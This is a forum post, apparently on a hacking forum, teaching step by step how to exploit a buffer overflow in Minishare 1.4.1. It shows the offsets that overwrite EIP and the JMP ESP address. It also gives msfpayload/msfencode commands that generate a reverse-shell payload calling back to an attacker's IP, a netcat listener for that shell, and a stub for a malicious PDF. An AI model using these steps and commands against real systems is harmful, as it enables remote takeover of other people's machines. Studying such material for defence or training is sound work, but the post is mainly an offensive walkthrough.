Prestige: 107 Posts: 1,093 Joined: Nov 2012 Reputation: 128
Imagine a glass of wine. You're thirsty and you want to drink it, but first you need to fill your glass. You keep pouring it into the glass, but at one point, the wine will have filled the glass and it will leak outside of it, on your carpet. This is exactly what buffer overflow is. It happens when a program or file writes data to a buffer and overflows it. It leaks into adjacent memory and overrides it. That way we get our malicious part to execute.
To understand Buffer Overflows, one must first understand buffers, stack, EIP & ESP registers.
Buffer
A stack is a specialized type of buffer which is used to store data. It stores it from the top to down. This means that as new requests enter it, they get stored on top, and they push everything else down. Stacks are used to pass data to various functions, and also as a space holders of variables. PUSH stores data and POP removes it.
ESP Register
If we wanted to access the stack memory we could you can use ESP. ESP is a stack pointer. It points at the top of the stack.
EIP Register
EIP Register is instruction pointer. Since code execution is not linear, we can call functions and skip parts of the code, we can use EIP and point it to the address that contains code that we want to execute next. Whatever EIP points to will be executed next.
Now that we've got that done, we can discuss tools that are required for exploitation. We will be using:
In this tutorial, I will be showing how to exploit Minishare 1.4.1. Please note that an exploit for this already exists and that we will be merely reconstructing the exploit from scratch. I am not his original creator. You can find original creator on ExploitDB.
Getting Ready
First thing we need to do is get the file ready for analysis. Download Minishare from link I provided above and install it. Download ollydbg and extract it. Since it doesn't need any installation just double click the file and it will run. Now, in OllyDbg open the file and get it ready for analysis. Do this by navigating to File>Open and then select path to your file.
PHP Code:
File>Open
Now simply click open and that's it. Now, you are interested in:
CPU Window
Registry Window
Even though we opened the file in OllyDbg it's still not executed. To run it, press F9 or just click on start button located at the top of ollydbg. This will run your file, and you will see this on your screen:
Awesome. Now let's say a word or two about Networking.
Networking
We will be using Python to trigger and exploit the vulnerability for by using the socket module we can connect to the remote machine running the vulnerable application and send data to it. I highly recommend learning Python before doing any of this, because you won't understand it.
To import a module in Python, we use import command. Next, we have to connect to the remote machine on port 80 because that is the port the application is using. We can then send data to it in hope of causing a crash. In this case, we can accomplish it by sending overly large HTTP GET requests. They begin with GET and end with HTTP/1.1 and line breaks. Let's write our Python file. Open any text editor. Remember when you were a skid and people used to tell you that you can't hack with notepad? Today you can laugh at them because notepad is what we will use to write our python script. So technically, in a way, you hacked with notepad. How cool is that?
So what are we doing? We are sending a huge HTTP GET request that consists of a lot of "A" characters. "\x41" is the hexadecimal value of the ASCII "A" character, and " \n" is just a new line carriage return. We send two thousand "A" characters in hope of creating an error. And we did. At the very bottom of OllyDbg, we got access violation.
Also, we can see that EIP was overwritten:
Taking Control
By causing an error we have just scratched the surface of Buffer Overflows because we have to find a way to tame the error and use it as we please. To do so, we want to find the opcode for JMP ESP.
Click on View menu in Olly and then select Executable Modules option. It will show us a new window containing all loaded executable modules. We can see minishare.exe and a lot of DLLs that it uses.
Select shell32.dll and click enter. However keep in mind when choosing that address of JMP ESP mustn't have null bytes so you must choose carefully. If it did have them, when we override EIP it would act as EOL (End of line) and it would stop our exploit from running. So make sure you don't choose anything that has \x00, \x0a or \x0d. Opening shell32.dll would present it in our CPU window. Now you want to press Control + F. This will prompt us for commands search. In it, type "JMP ESP" and press enter. Take note of the address on the left. It's 7C A5 82 65 in my case.
Now, you want to restart the program by going on Debug>Restart. Press F9 again to re-run it. This is important step and you won't be able to try your exploit if you don't restart it.
Next thing we want to do is find exact position at which EIP is overwritten. We will take advantage of tools that ship with metasploit framework. Fire up your Backtrack machine and in console type:
PHP Code:
ruby pattern_create.rb 2000
Replace 2000 with size that you want.
That is what we want to send to the victim. Edit your python script to do so.
You will get two numbers. They will be fairly close to each other. First one is 1787 and other one is 1791. First one says that EBX is overwritten at 1787 bytes and second one that EIP is overwritten after 1791 bytes of data.
To show that this is in fact correct, I will demonstrate how EIP gets overridden after 1787 bytes of data. Everything before it is junk.
This will override EIP to be 42424242. Save the script and re-run it. Don't forget to restart the program in OllyDbg as well!
As you can see it worked. We can now go ahead and add shellcode.
Shellcode
First, we need to open backtrack console. We will be using Metasploit payload windows/shell_reverse_tcp. So let's do:
PHP Code:
msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 R
But you will notice that it will include x00, x0d and x0a. If you remember, these are line breakers. When they get in EIP registry they will terminate the line and exploit will fail. That's why we have to encode this so it doesn't have these. We do it with MSFencode.
PHP Code:
msfpayload windows/shell_reverse_tcp LHOST=192.168.2.106 LPORT=4444 R | msfencode -a x86 -b '\x00\x0a\x0d' -t c
Shellcode will be generated. Now let's take a look at our python script again. After 1787 bytes of data, we want to input JMP ESP which has language and OS details. Remember that I told you to take note of address? It was 7C A5 82 65. We need to use little endian order. This means that we have to allocate bytes from least significant to most significant. So our original 7C A5 82 65 will reverse to 65 82 A5 7C. And after this, we will add our shellcode. But it's always nice to have NOPs (No operations) for stability. I'll add thirty bytes of these.
This is the final form of our exploit. Don't run it yet. You need to set up a listener that will listen for incoming connections and accept them. We will use netcat for listener this time. Open new backtrack console and type:
PHP Code:
nc -nvlp 4444
Our local port is 4444. If your shellcode used something else, change it. You will have your session after running the exploit.
Non socket exploits
What if you want to write an exploit similar to one in adobe reader?
PHP Code:
buf = open("C:\buffer.pdf", "a") data = "\x41"*2000 buf.write(data) buf.close()
This will create a file in C drive called buffer.pdf and open it for appending. It will then write two thousand "A"s in it. What comes next is very similar to my previous example. Get exact number of bytes needed for EIP to be overwritten, JMP ESP & Shellcode.
Please note that the code above was just a demonstration on how it should be made. The number of bytes that trigger the vulnerability are wrong and thus it won't work.